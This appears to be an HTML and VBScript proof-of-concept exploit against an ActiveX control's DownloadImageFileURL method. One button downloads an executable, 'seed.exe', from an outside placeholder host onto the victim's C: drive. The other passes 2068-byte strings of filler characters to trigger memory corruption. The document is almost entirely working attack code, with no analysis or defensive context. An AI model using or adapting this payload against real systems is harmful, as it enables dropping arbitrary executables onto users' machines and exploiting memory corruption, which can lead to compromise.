<object classid='clsid:D2797899-BE27-4CDB-892F-4FDC26EA9BA9' 
id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here 
to start the arbitrary file download test'>

<input language=VBScript onclick=MemoryCorruption() type=button 
value='Click here to start the memory corruption test'>

<script language='vbscript'>
 Sub tryMe
  test.DownloadImageFileURL "http://somesite.com/seed.exe", 
"C:\seed.exe"
 End Sub
</script>

<script language='vbscript'>
 Sub MemoryCorruption
  buff_0 = String(2068, "A")
  
  buff_1 = String(2068, "B")
  
  test.DownloadImageFileURL buff_0, buff_1
 End Sub  
</script>